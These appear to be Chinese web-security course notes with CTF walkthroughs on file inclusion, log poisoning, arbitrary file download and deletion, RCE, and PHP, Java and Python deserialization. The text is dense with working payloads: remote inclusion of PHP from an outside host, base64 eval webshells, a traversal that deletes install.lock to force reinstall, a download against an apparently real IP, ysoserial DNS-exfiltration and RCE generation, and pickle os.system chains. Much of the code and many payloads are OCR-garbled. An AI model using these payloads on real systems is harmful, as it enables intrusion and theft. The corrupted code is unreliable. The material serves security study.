payload:?file=php://input post:<?php system('tac flag.php');? payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
思路:观察网站并不存在上传点,只有传参处–尝试直接读取flag.php(?file=flag.php)并无返回结果,然后尝试使用伪协议 (php://input 使用post提交数据)–再使用php system执行读取当前路径文件ls–读取文件内容tac
79-data&http协议
1
2
3
4
5
payload:?file=data://text/plain.<?=system(tac flag.")?>I
payload
?file=data://text/plain:base64.PD9waHAgc3lzdGVtKCdoYWMgZmxhZy5waHAnKTs/Pg==
payload:?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
思路:有前端JS可知此处过滤了php字符,所以可以使用data、http远程包含绕过
80 81-日志包含
1
2
3
4
5
6
7
8
1、利用其他协议如fle,zib等
2、利用日志记录UA特性包含执行
分忻需文件名及带有php关键字放弃
故利用日志记录UA信息,UA带入代码
包含:var/log/nginx/access.log
思路:有JS代码可以此处过滤了PHP和DATA协议,尝试使用http远程包含也没有返回结果说明网站关闭了远程文件包含

后续只能使用zip和 file协议 但是两者都需要知道文件的绝对路径,通过信息收集知道中间件为nginx,尝试读取日志文件,/var/log/nginx/acess.log,读取成功尝试通过修改UA信息写入读取当前路径文件(<?php system('ls');?>)–读取flag(<?php system('cat fl0g.php'); ?>)
81关 增加过滤了 : 仍可以使用日志文件绕过
82-86-SESSION包含
1
2
https://www.cnblogs.com/Interpreter/p/14086164.html
https://www.cnblogs.com/echoDetected/p/13976405.html
87-php:/filter/write&加密编码
1
2
3
4
5
6
1、利用base64
ur编a码2次:php/filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwOJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
ur编码2次:php:/filter/write=string.rot13/resource=2.php
content=<?cuc flfgrz('gnp s*.cuc'):?>

思路:增加了 “.” 过滤,致使不能直接使用日志,所以使用编码绕过,这里使用php写入参数,然后传参出写入后门代码读取

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64值

1
2
3
Payload:
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdoYWMgKi5waHAnKTtlY2hvIDEyMz
s/PmFK

思路:此处过滤如下图,没有过滤data,尝试将data后数据进行base64编码绕过。

1
2
3
4
5
6
7
8
convert.iconv.:一种过滤器,和使用iconvO☒数处理流数据有等同作用
<?php
$result iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[a]):?>)
echo"经过一次反转:"$result."\n"
echo"经过第二次反转:".iconv(UCS-2LE","UCS-2BE",$result):
?>
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvelas(P_SO【】a,)>?

#CMS源码-XHCMS-代码审计&日志&绕过

1、搜索特定函数寻包含点
2、国定目录及后缀名需绕过
3、由CMS无上传用日志包含
4、利用长度绕过后缀名固定

1
2
Payload:
http://172.16.11.27/xhcms/?r=../../../nginx/logs/error.log...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

-白盒发现:

1、可通过应用功能追踪代码定位审计

2、可通过脚本特定函数搜索定位审计

3、可通过伪协议玩法绕过相关修复等

#本课总结:

1、有可控文件如能上传文件,配合上传后包含

2、无可控文件可以利用日志或Session&伪协议

3、代码固定目录及文件后缀时需考虑版本绕过

4、伪协议玩法是建立在代码中只有变量存在时

第43天:WEB攻防-通用漏洞&任意文件下载&删除重装&敏感读取&黑白审计

知识点:

1、文件操作类安全问题
2、文件下载&册除&读取
3、白盒&黑盒&探针分析

#详细点:

文件读取:基本和文件下载利用类似
文件下载:利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路
文件删除:除自身安全引发的文件除外,可配合删除重装锁定文件进行重装

演示案例:

审计分析-文件下载XHCMS-功能点

https://zhuanlan.zhihu.com/p/589245286

思路:通过访问链接找寻文件内容逐步得知下载变量在函数传递的路径–全局搜索update inset变量找寻文件上传点–访问上传点尝试构造下载内容–访问下载链接成功

审计分析-文件读取-Metlnfo-.函数搜索

https://blog.csdn.net/ZhaoSong_/article/details/132601103

审计分析-文件删除74CMS-函数搜索

https://blog.xmcve.com/2023/03/26/cms%E9%9D%B6%E5%9C%BA%E5%A4%8D%E7%8E%B0,%E8%AE%B0%E5%BD%95/#title-2

image-20240408163202959

找到漏洞处,然后选择去删除重装文件

image-20240408163401656

image-20240408163812708

1
这里有点要注意,需要从admin目录下直接访问这里才能跳过csrf的监测

思路:通过函数找到文件删除点,然后找到文件添加出通过删除函数传参删除install文件致使网站进行重新配置–可将网站数据库连接到本地。

黑盒分析-下载读取-下载资源URL参数

通过百度可知该框架下数据库连接文件的默认路径,构造连接进行下载
http://67.202.70.133/files/readfile.php?file=…/configuration.php

#白盒审计:

1、文件下载
流程功能点抓包寻代码文件寻变量控制构造测试
Payload:softadd=d:/1.txt softadd2=d:/1.txt
2、文件删除:74CMS-配合删除重装
流程特定函数搜索寻发调用-构造Payload测试
Payload:/admin/admin_article.php?act=del_img&img=…/…/data/install.lock
3、文件读取:Metlnfo-任意读取
流程。特定函数援索寻融发调用-构造Payload测试
Payload:/include/thumb.php?dir=http…\config\config_db.php

#黑盒探针

1、URL参数名及参数值分析:
参数名:英文对应翻译
参数值:目录或文件名
2、功能点自行修改后分析:
文件下载,册除,读取等

第44天:WEB攻防-通用漏洞&RCE&代码执行&命令执行&多层面检测利用

知识点:

1、RCE执行-代码执行&命令

1
2
eval('phpinfo();');   //代码执行
system('ver'); //命令执行 这两种要区分

命令执行指的是攻击者通过在 Web应用程序中注入恶意命令,从而执行非法操作。攻击者通常会利用可编辑的参数或表单字段,在注入时输入一些包含系统命令的字符,使得 Web 程序把这些字符作为命令执行。成功的攻击可以导致 Web 服务器受到控制,甚至可以窃取敏感信息或破坏系统。
代码执行指的是攻击者通过在 Web应用程序中注入恶意代码,从而让其在服务器端执行。攻击者通常会利用可编辑的参数或表单字段,在注入时输入一些包含恶意脚本的字符,使得 Web程序在解析时把这些字符直接当做代码执行。成功的攻击可以导致 Web 服务器受到控制,甚至可以窃取敏感信息或破坏系统。

2、CTF考点-漏洞配合&绕过手法
3、利用审计-CMS框架&中间件等

#详细点:

1.为什么会产生此类安全问题
2此类安全问题探针利用及危害
3.此类安全问题在CTF即CMS分析
漏洞场景:代码会调用自身的脚本代码执行,也会调用系统命令执行
漏洞区别:脚本语言&操作系统(php/java/python/js&windows//linux/mac)
漏洞对象:WEB源码&中间件&其他环境(见漏洞详情对象)
漏洞危害:直接权限丢失,可执行任意却本代码或系统命令

演示案例:

RCE-原理&探针&利用&危害等
CTF-29-39-RCE代码命令执行
CMS-PbootCMS审计-RCE执行
层面-探针-语言&CMS&中间件等

#RCE-原理&探针&利用&危害等

举例:

-RCE代码执行:引用脚本代码解析执行
RCE命令执行:脚本调用操作系统命令
漏洞函数:

1.PHP: eval().assert()、preg_replace()、call_user_func()、all_user_func_array()以及aray_map()等
system、shell_exec、popen、passthru、proc_open等
2.Python eval exec subprocess os.system commands
3.Java: Java中没有类似php中eval函数这种亘接可以将字符玉转化为代码执行的函数, 但是有反射机制,并且有各种基于反射机制的表达式擎,如:OGNL、SpEL、MVEL等

CTF-29-39-RCE代码命令执行

1
2
3
4
5
6
7
8
29关
思路:看代码过滤了flag大小写格式,使用通配符绕过 ?c=system(‘tac fla*.php’);

30关
思路:看代码除了过滤flag还过滤了system、php的大小写,使用shell_exec绕过 /?c=echo shell_exec(‘tac fla*’);

‘cp fla*.ph* 2.txt’:
echo shell exec(‘tac fla*.ph*’);

31-参数逃逸

1
2
eval($GET[1]):&1=system(‘tac flag.php’);
思路:再上一关的基础上增加过滤shell_exec cat sort等函数,这时候可以用参数逃逸,创建新参数然后让新参数执行命令

32~36-配合包含&伪协议

1
2
3
4
include$_ GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

思路:过滤了;分号致使语句不能结束执行,使用include ?>结束语句然后利用文件包含中的伪协议进行读取

37~39-包含&伪协议&通配符

1
2
data://text/plain,<?=system('tac fla);?>
php://input post<?php system('tac flag.php');?>

思路:直接利用文件包含,同时使用通配符绕过php flag过滤

#代码审计-PbootCMS-RCE代码执行

流程:搜索特定函数->parserlfLabe->parserCommom->About&Content->构造
AboutController:(pboot:if(eval($_POST[1])))/pbootif)
ContentController:/index.php/Content/2?keyword=(pboot:if(eval(S_REQUEST[1]))😕/)))))
(/pbootin&1=phpinto();

#层面-探针-语言&CMS框架&中间件

http://vulfocus.io/ Shiro weblogic
使用工具快速拿下权限

第45天:WEB攻防-通用漏洞&PHP反序列化&POP链构造&魔术方法&原生类

知识点:

1、什么是反序列化操作?格式转换
2、为什么会出现安全漏洞?魔术方法
3、反序列化漏洞如何发现?对象逻辑
4、反序列化漏洞如何利用?-POP链构造
补充:反序列化利用大概分类三类
魔术方法的调用逻辑如触发条件
语言原生类的调用逻辑如SoapClient
-语言自身的安全缺陷如CVE-2016-7124

#反序列化课程点:

-PHP&Java&Python

这边注意的是,反序列化漏洞在CTF中经常会考到,而且实战面试也是一大考点

序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
serialize() //将一个对象转换成一个字符串
unserialize()//将字符串还原成一个对象

#PHP反序列化漏洞

原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而
导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些
魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

#魔术方法利用点分析:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

魔术方法是PHP反序列化中寻找漏洞的重点之一

1
2
3
4
5
6
7
8
9
10
11
12
__construct()://构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup()://unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

演示序列化和反序列操作,将对象转化成数组或字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//序列化&反序列化
class demotest{
public $name='xiaodi';
public $sex='man';
public $age='29';
}
$example=new demotest();
$s=serialize($example);//序列化
$u=unserialize($s);//反序列化
echo $s.'<br>';
var_dump($u);
echo '<br>';
//O:8:"demotest":3:{s:4:"name";s:6:"xiaodi";s:3:"sex";s:3:"man";s:3:"age";s:2:"29";}
//object(demotest)#2 (3) { ["name"]=> string(6) "xiaodi" ["sex"]=> string(3) "man" ["age"]=> string(2) "29" }

演示创建对象即可触发__construct魔术方法,销毁对象触发__destruct,把类当作字符串使用时触发__toString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//安全问题
class A{
public $var='echo test';
public function test(){
echo $this->var;
}
public function __destruct(){
echo 'x'.'<br>';
}
public function __construct(){
echo '__construct'.'<br>';
}
public function __toString(){
return '__toString'.'<br>';
}
}
//无需函数,创建对象触发魔术方法
//$a=new A();//触发__construct
//$a->test();//触发test
//echo $a;//触发__toString
//触发__destruct
echo serialize($a);
$t=unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}');
$t->test();

此处创建新对象会自动先输出xiaodisec然后执行ipconfig,此处传参将参数反序列化时会自动触发__destruct()执行ipconfig命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//漏洞出现
class B{
public function __destruct(){
system('ipconfig');
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法
//?x=O:1:"B":1:{s:4:"test";s:3:"ver";}
unserialize($_GET[x]);
//$b=new b();
//echo serialize($b);
1
2
3
4
5
6
此处算是正式利用反序列化触发__destruct(),执行系统命令ipconfig,在函数引用时,使用了反序列化漏洞的方式来构造了一个恶意对象,
由于在反序列化过程中会触发 __destruct() 方法的执行,因此可以通过构造恶意对象来执行任意系统命令,导致严重的安全问题。
具体来说,当我们通过访问链接 ?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";} 来触发反序列化操作时,
会将该字符串反序列化为一个对象,并调用其中的 __destruct() 方法。
由于 $cmd 成员变量的值被设置为字符串 "ipconfig",因此在调用 __destruct() 方法时,会执行系统命令 system($this->cmd),
从而执行 ipconfig 命令并输出相关信息。
1
2
3
4
5
6
7
8
9
10
11
12
class C{
public $cmd='ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//函数引用,无对象创建触发魔术方法自定义变量
//?c=O:1:"C":1:{s:3:"cmd";s:3:"ver";}
unserialize($_GET[c]);

演示案例:

反序列化魔术方法&漏洞引发&变量修改等
CTFSHOW-关卡254到260-原生类&POP构造
CMS代码审计-Typecho)反序列化&魔术方法逻辑

#CTFSHOW-关卡254-260原生类&POP构造

254对象引用执行逻辑
1
2
username=xxxxx&password=xxxxxx
思路:从代码分析若想输出flag则需要isvip为真,而isvip为真需要调用方法login满足接收的参数usernam和password=xxxxx,则只需要通过get方式传入正确参数即可
255反序列化变量修改1
1
2
3
4
5
6
7
8
9
Code
publc ¥svip=true
$a=new ctishowUserl
echo urlencode(senalize($a));
Get userame=xxxxoxxpassword=xxxxx
Cookie:user=O3A113A%22ctfShowUser223A363A7Bs%3A8%3A22usema
me223BsG0A693A122xxxxx1223Bs3AB1 3A122password%22%3Bs9 3A6
9%3A02200000.22%3Bs%3A5,3A622isVp%,22%3BD%3A1%3日%,7D
思路:同上关,需要将isvip确定为ture,但是代码中并无修改isvip的方法,此时需要通过构造pop链将isvip确定为ture,构造pop链的方法是创建一个新对象,并将对象通过序列化的方法输出出来(此时还需要将序列化后的对象进行url编码防止乱码的现象发生),然后将序列化编码后的对象通过修改数据包传参到cookie字段中的user变量,然后代码会通过反序列化的方式将isvip修改为ture,修改数据包时还需要通过get方式传参username和password进行登录验证(因为只有登录成功以后函数才会使得if$user->login($username,$password))为真)。
256-反序列化参数修改2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Code
public $username='x';
public $password='y';
public $isVip=true;
Sa=new ctfShowUser().
echo urlencode(serialize(Sa));
GET.userame=x&password=y
COOKIE:user=0%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22usern
ame%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22 passw0rd%22%3Bs%3A1%3A
%22y%22%3Bs%3A5%3A%22isVp%22%3Bb%3A1%3B%7D
思路:分析代码,同上关需要满足username不等于password,同时username和password都等于xxxxxx,
并且isvip为ture的情况下才会输出flag。则需要构造pop链,
构造public $username='x';public $password='y';public $isVip=true;则传参username=x&password=y,
并且反序列化后使得if($user->login($username,$password)为真,isvip为ture。并且username不等于password。
257-反序列化参数修改&对象调用逻辑
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class ctfShowUser{
private $class;
public function construct(){
$this->class=new backDoor();
}
}
class backDoor(
private $code='system("cat f*");';
$b=new ctfshowUser();
echo serialize($b)
?>
思路:分析代码并没有输出flag的地方,但是存在eval()函数,此函数在反序列化中常被用来RCE
因此试图构造pop链--
首先通过new 对象来调用__construct()魔术方法
--通过魔术方法调用backDoor方法(此处要修改class的值为bankDoor
--修改class=new backDoor();(因为backDoor中$code为私有所以需要新建 backDoor才能调用)
--然后修改$code的变量值为"system("cat flag.php");";构造完成
--传入正确的参数,修改数据包中cookie字段反序列化RCE执行
258-反序列化参数修改&对象调用逻辑
1
2
3
4
5
6
思路:代码逻辑基本和上一关相似,只是增加了正则过滤,通过替换语句将数字替换成+数字,即可绕过。
比如原来序列化后的对象中含有8,替换为+8
/[oc]:\d+:/i,其中 / 表示正则表达式的开始和结束,[oc] 表示匹配字符集中的一个字符,
即 o 或 c,\d+ 表示匹配一个或多个数字字符,即 09,: 表示匹配冒号字符。
因此,该正则表达式的含义是匹配以 o: 或 c: 开头、后面跟着一串数字和冒号的字符串。
i 表示忽略大小写,即 o 和 c 可以是大写或小写字母。
259-原生态类8Call魔术方法8配台SSRF

参考链接:https://blog.csdn.net/qing_chuan_/article/details/134112559?utm_medium=distribute.pc_relevant.none-task-blog-2defaultbaidujs_baidulandingword~default-0-134112559-blog-122018007.235v40pc_relevant_3m_sort_dl_base1&spm=1001.2101.3001.4242.1&utm_relevant_index=3
思路:大概是观察给出的js代码和flag.php 发现存在一个没有被调用的函数,所以想到用php中的原生类调用。
目的是在index.php通过反序列化一个原生类向flag.php发送请求,然后flag.php用file_put_contents把flag放到flag.txt里。发请求用的是php里的一个内置类:SoapClient,这个类中有个__call魔术方法,当调用一个对象中不存在的方法时候,会执行call()魔术方法。来达到我们伪造请求头的目的。

1
ctfshow的大部分php反序列题目我也都做了,可以直接去看写的wp文章可能会更详细一点。

第46天:WEB攻防-通用漏洞&PHP反序列化&原生类&漏洞绕过&公私有属性

知识点:

1、反序列化魔术方法全解
2、反序列化变量属性全解
3、反序列化魔术方法原生类
4、反序列化语言特性漏洞绕过

~其他魔术方法

共有&私有&保护
语言模式方法漏洞
~原生类获取利用配合

#反序列化利用大概分类三类

-魔术方法的调用逻辑如触发条件
-语言原生类的调用逻辑如SoapClient
-语言自身的安全缺陷如CVE-2016-7124

#反序列化课程点:

-PHP&Java&Python

PHP魔术方法再来一遍

1
2
3
4
5
6
7
8
9
10
11
12
__construct()://构造函数,当对象new的时候会自动调用
__destruct()://析构函数当对象被销毁时会被自动调用
__wakeup()://unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatci(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用

演示案例:

方法&属性-调用详解&变量数据详解
CTF-语言漏洞-wakeup方法绕过
CTF-方法原生类获取&利用&配合其他

#方法&属性-调用详解&变量数据详解

对象变量属性:
public(公共的)在本类内部、外部类、子类都可以访问
protect(受保护的)只有本类或子类或父类中可以访问
private(私人的)只有本类内部可以使用
序列化数据显示:
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

#CTF语言漏洞-wakeup()方法绕过

极客大挑战20191 PHP CVE2016-7124

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
如果存在wakeup方法,调用unserilize(O方法前则先调用wakeup方法,
但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行
1、下载源码分析,触发flag条件
2、分析会缺发调用wakeup强制username值
3、利用语言漏洞绕过CVE-2016-7124
4、构造payload后修改满足漏洞条件发
Pyload
select=0%3A4%3A"Name"%3A3%3A%7Bs%3A14%3A%00Name%00username"%3Bs
%3A5%3A"admin"%3Bs%3A14%3A%00Name%00password"%3Bi%3A100%3B%7D

思路:通过文件目录扫描出www.zip文件,文件中含有网站源代码,观察网站源码发现要想获得flag需要
password=100&username=admin,同时并未给出传参的位置,
所以需要利用反序列化构造username和password,
但是在利用unserialize()函数的时候会自动调用__wakeup()魔术方面把username修改,
所以思考要跳过__wakeiup()魔术方法,就需要利用CVE-2016-7124漏洞。
影响版本:PHP5 < 5.6.25;PHP7 < 7.0.10
漏洞原因:如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,
但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
构造链:
<?php
class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name();
echo urlencode(serialize($a));
?>
输出结果后修改属性个数大于真实属性个数即可,然后传参带入即可。

CTF-方法原生类获取&利用&配合其他

此处回顾了ctfshow 259关

对于这个原生类的知识,主要是从一下三个方面去说明。
-PHP有那些原生类-见脚本使用
-常见使用的原生类-见参考案例
-原生类该怎么使用-见官方说明
首先通过网上找的一个小脚本,可以列出每个魔术方法对应的一些原生类。
直接访问即可返回原生类(但不全)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

$classes = get_declared_classes();

foreach ($classes as $class) {
$methods = get_class_methods($class);

foreach ($methods as $method) {
if (in_array($method, array(

'__destruct',

'__toString',

'__wakeup',

'__call',

'__callStatic',

'__get',

'__set',

'__isset',

'__unset',

'__invoke',

'__set_state'

))) {
print $class . '::' . $method . "\n";
}}}?>

本地dome xss

参考链接:https://www.anquanke.com/post/id/264823
思路:通过分析代码传入参数k,最后直接输出对象,此处可以使用__tostring魔术方法,但是代码中并没包含__tostring的对象,所以想到要使用原生类

回顾ctfshow259 利用原生类
1
2
3
思路:分析代码存在不存在的函数方法所以i想到利用__call()魔术方法触发,
但是代码中没有__call()魔术方法,所以想到使用含有魔术方法的原生类soapClient()访问flag.php讲flag写入flag.txt,最后读取即可。
flag.php中表明需要本地访问且ua头有限制token=ctfshow方可写入。

将构造的好的链通过参数传入即可将falg写入flag.txt,最后读取flag.txt

第47天 WEB攻防-通用漏洞&Java反序列化&EXP生成&数据提取&组件安全

知识点:

1、Java反序列化演示-原生API接☐
2、Java反序列化漏洞利用-Ysoserial使用
3、Java反序列化漏洞发现利用点-函数&数据
4、Java反序列化考点-真实&CTF赛题-审计分析

#内容点:

1、明白Java反序列化原理
2、判断Java反序列化漏洞
3、学会-Ysoserial_工具使用
4、学会-SerializationDumper
5、了解-简要Java代码审计分析

#前置知识

序列化和反序列化的概念:
序列化:把Java对象转换为字节序列的过程。
反序列化:把字节序列恢复为Java对象的过程。
对象的序列化主要有两种用途:
把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
在网络上传送对象的字节序列。(网络传输对象)

尽管 Java 反序列化和 PHP 反序列化在处理对象的序列化和反序列化过程中都存在类似的安全问题,但它们之间还是有一些不同的地方:
序列化格式不同:Java 使用了自己的序列化机制来支持对象的序列化和反序列化,而 PHP 通常使用基于文本的序列化格式(如
serialize 和 unserialize 函数)进行序列化和反序列化。 序列化器实现方式不同:Java 序列化器实现了
Serializable 接口,并通过反射机制获取对象的属性值进行序列化。而 PHP 序列化器没有统一的接口,而是通过魔术方法(如
__sleep() 和 __wakeup())和自定义函数进行序列化和反序列化。 对象类型的检查方式不同:Java 反序列化将对反序列化的对象进行类型检查,并且只会反序列化已知类型的对象。
PHP的反序列化器则没有这样的限制,攻击者可以构造序列化数据来欺骗反序列化器。 可重写方法的触发方式不同:Java 反序列化器通过特定的方法(例如readObject())来触发可重写方法,而 PHP 反序列化器需要在序列化字符串中包含 O:classname: 格式的元信息来实现。
综上所述,虽然 Java 反序列化和 PHP 反序列化存在一些不同,但它们都必须小心处理反序列化的输入数据,以避免导致安全漏洞。函数接口:

函数接口:

1
2
3
4
5
Java:Serializable Extemalizable接☐、fastjson、jackson、gson、
ObjectInputStream.read,ObjectobjectInputStream.readUnshared,XMLDecoder.read.
ObjectYaml.loadXStream.fromXML.ObjectMapper.readValue.JSON.parseObject
PHP:serialize()unserialize()
Python:pickle

数据出现:

1、功能特性:
反序列化操作一般应用在导入模板文件、网例络通信、数据传输、日志格式化存储、对象数
据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
3、出现具体:
http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),Mll等
Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMl,JMS,JND1等
(\xac\Xed)xm IXstream,XmldEcoder (http Body:Content-type:application/xml)
json0 ackson,fastison)http请求中包含

发现:

黑盒分析:数据库出现地-观察数据特性
白盒分析:组件安全&数搜索&功能模块
利用:
Ysoserials集成的jar包配合生成,特性的专业漏洞利用工具等

演示案例:

原生API -Ysoserial URLDNS使用
三方组件-Ysoserial支持库生成使用
解密分析-SerializationDumper数据分析
CTF赛题-[网鼎杯2020朱雀组]ThinkJava

#原生API-Ysoserial URLDNS使用

Serializable接口
Externalizable接口
没组件生成DNS利用:
https://github/com/frohoff ysoserial
java -jar ysoserial-0.0.6-SNAPSHOT-all jar URLDNS http://9ar7xl anslog.cn”>urldns.ser
思路:本地搭建序列化和反序列化操作,使用ysoserial 生成反序列化语句用来访问dnslog并保存到本地,当反序列化执行的对象为构造好的本地文件时,触发访问dnslog,造成信息外带。

#三方组件-Ysoserial支持库生成便用

https://github.com/WebGoat/WebGoat
此处讲解了wegooat靶场中Java反序列化关卡,首先通过抓包找到含有反序列化函数处,然后有两种,第一种结合原生类(比如 URLDNS)生成payload,第二种结合原生类hibernate生成payload(结合库文件生成的一般可以执行rce)

先结合库文件利用jar包生成特定payload,此处是利用hibemnate生成了弹出计算器的payload并保存到本地,然后将payload进行base64加密。

有组件生成RCE1、生成:java-Dhibernate5 cp hibemnate-core-5.4.9 Final jar ysoserial-0.0.6-
SNAPSHOT-all jar ysoseral.GeneratePayload Hibernate1 “calc.exe”>x bin
2、解码:python java.py

1
2
3
4
5
6
import base64
file open(“x bin”“rb”)
now flle read()
ba base64 D64encode(now)
print ba
file close

3、CTF赛题—[网鼎杯2020朱雀组]ThinkJava

https://www.cnblogs.com/h3zh1/p/12914439.html

参考链接:https://blog.csdn.net/RABCDXB/article/details/124003575

第48天:WEB攻防-通用漏洞&Py反序列化&链构造&自动审计bandit&魔术方法

知识点:

1、Python-反序列化函数使用
2、Python-反序列化魔术方法
3、Python-反序列化POP链构造
4、Python-自动化审计bandit使用

#前置知识:

函数使用:
pickle.dump(obj,file):将对象序列化后保存到文件
pickle.load(le):读取文件,将文件中的序列化内容反序列化为对象
pickle.dumps(obj):将对象序列化成字符串格式的字节流
pickle.loads(bytes obj):将字符串格式的字节流反序列化为对象
魔术方法:

1
2
3
4
__reduce (__()      反序列化时调用
__reduce__ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用

各类语言函数:
Java:Serializable Extemalizable接☐、fastison、jackson、gson、
ObjectInputStream.read,ObjectobjectInputStream.readUnshared,XMLDecoder.read.
ObjectYaml loadXStream.fromXML ObjectMapper.readValue.JSON.parseObject
PHP:serialize().unserialize()
Python:pickle marshal PyYAML shelve PIL unzip

演示案例:

原理-反序列化魔术方法-调用理解
CTF-反序列化漏洞利用-构造&RCE
CTF-CISCN2019华北-JWT&反序列化
代码审计-自动化工具-bandit?安装及使用

#原理反序列化魔术方法调用理解

魔术方法利用:

1
2
3
4
reduce() 反序列化时调用
reduce_ex() 反序列化时调用
setstate() 反序列化时调用
getstate() 序列化时调用

代码块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os

#反序列化魔术方法调用-__reduce__() __reduce_ex__() __setstate__()
class A(object):
def __reduce__(self):
print('反序列化调用')
return (os.system,('calc',))
a = A()
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
##__reduce__()方法在序列化和反序列化时都会被调用,其中__reduce__()方法中需要return才能触发。
1
2
3
4
5
6
7
8
9
10
11
12
class SerializePerson():
def __init__(self, name):
self.name = name
# 构造 __setstate__ 方法
def __setstate__(self, name):
os.system('calc') # 恶意代码
tmp = pickle.dumps(SerializePerson('tom')) #序列化
pickle.loads(tmp) # 反序列化 此时会弹出计算器
反序列化时会调用__setstate__()方法,__init__() 方法是一个构造函数,它会在创建新对象时自动调用,
并用于初始化对象的状态和成员变量。当我们创建一个类的新实例时,
Python 解释器会自动调用该类的 __init__() 方法,并将实例本身作为第一个参数传递给该方法。
因此,在定义 __init__() 方法时,需要将该方法的第一个参数指定为 self,以便引用当前对象的成员变量。
1
2
3
4
5
6
7
8
9
10
#序列化魔术方法调用-__getstate__
class A(object):
def __getstate__(self):
print('序列化调用')
os.system('calc')
a = A()
p_a = pickle.dumps(a)
print('==========')
print(p_a)
反序列化时自动调用__getstate__()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#反序列化安全漏洞产生-DEMO
class A(object):
def __init__(self, func, arg):
self.func = func
self.arg = arg
print('This is A')
def __reduce__(self):
print('反序列化调用')
return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print('==========')
print(p_a)
pickle.loads(p_a) 反序列化该二进制字符串,并触发其中包含的 __reduce__() 方法。
由于该方法中包含了 self.func(*self.arg) 语句,因此在执行反序列化操作时,
Python 解释器会自动调用 os.system('calc') 函数,并弹出计算器应用程序。

python反序列化不同于PHP的一点时,构造利用链时不需要网站源码含有能被自动调用的魔术方法,
只需要在构造利用链的时候自己调用利用链中的魔术方法即可,也就说python源码中只有要pickle.load()反序列化函数即可利用

#CTF-反序列化漏洞利用构造&RCE

环境介绍:利用Python-ask搭建的web应用,获取当前用户的信息,进行展示,在获取用
户的信息时,通过对用户数据进行反序列化获取导致的安全漏洞!
思路:通过分析网站源代码可知,用过接收cookie中user参数的值,然后将值拼接到HELLOW 之后显示,
那么我们只需要构造利用链传参到cookie中user字段,即可利用
Server服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import base64
from flask import Flask, request

